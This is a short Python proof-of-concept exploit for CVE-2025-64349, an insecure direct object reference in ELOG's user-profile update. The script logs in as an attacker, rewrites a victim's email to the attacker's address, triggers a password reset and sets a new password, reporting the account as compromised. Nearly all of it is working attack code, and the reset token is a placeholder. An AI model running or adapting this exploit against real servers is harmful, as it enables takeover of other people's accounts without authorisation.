CVE-2025-64349

# CVE-2025-64349 ELOG Account Takeover PoC # This PoC demonstrates the IDOR vulnerability in ELOG user profile modification import requests import smtplib from email.mime.text import MIMEText TARGET_URL = "http://target-elog-server.com" ATTACKER_EMAIL = "[email protected]" TARGET_USER_ID = "victim_user_id" # Step 1: Authenticate with attacker account session = requests.Session() login_data = { "username": "attacker_account", "password": "attacker_password" } login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Successfully authenticated") # Step 2: Modify target user's email via IDOR modify_data = { "user_id": TARGET_USER_ID, # IDOR: Attacker can modify any user "email": ATTACKER_EMAIL, "fullname": "Modified Name" } # The vulnerable endpoint does not verify ownership modify_response = session.post(f"{TARGET_URL}/user/profile/update", data=modify_data) if modify_response.status_code == 200: print("[+] Target user email modified successfully") else: print("[-] Failed to modify user profile") exit(1) # Step 3: Request password reset for target account reset_data = { "email": ATTACKER_EMAIL, "action": "request_reset" } reset_response = session.post(f"{TARGET_URL}/password/reset", data=reset_data) # Step 4: Retrieve reset token from attacker's email (simulated) # In real attack, attacker monitors email inbox for reset link reset_token = "extracted_token_from_email" # Step 5: Set new password new_password_data = { "token": reset_token, "new_password": "Pwned123!" } final_response = session.post(f"{TARGET_URL}/password/reset/confirm", data=new_password_data) if final_response.status_code == 200: print("[+] Account takeover successful - Password changed") print(f"[+] Target user: {TARGET_USER_ID} is now compromised") else: print("[-] Account takeover failed")

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